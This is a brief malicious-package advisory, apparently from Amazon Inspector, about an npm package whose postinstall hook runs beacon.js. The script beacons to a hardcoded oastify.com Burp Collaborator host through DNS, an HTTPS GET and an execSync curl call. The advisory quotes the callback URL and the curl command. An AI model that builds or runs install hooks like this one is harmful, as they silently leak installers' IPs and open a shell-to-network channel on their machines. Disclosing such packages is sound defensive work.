@jacksher/install-exec-poc @1.0.2

Summary

package.json declares postinstall: node beacon.js . On every npm install , beacon.js unconditionally performs a DNS lookup, an HTTPS GET to https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired , and child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'}) against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of execSync to shell out to curl at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name ( install-exec-poc ) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package.

Source: amazon-inspector (d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423)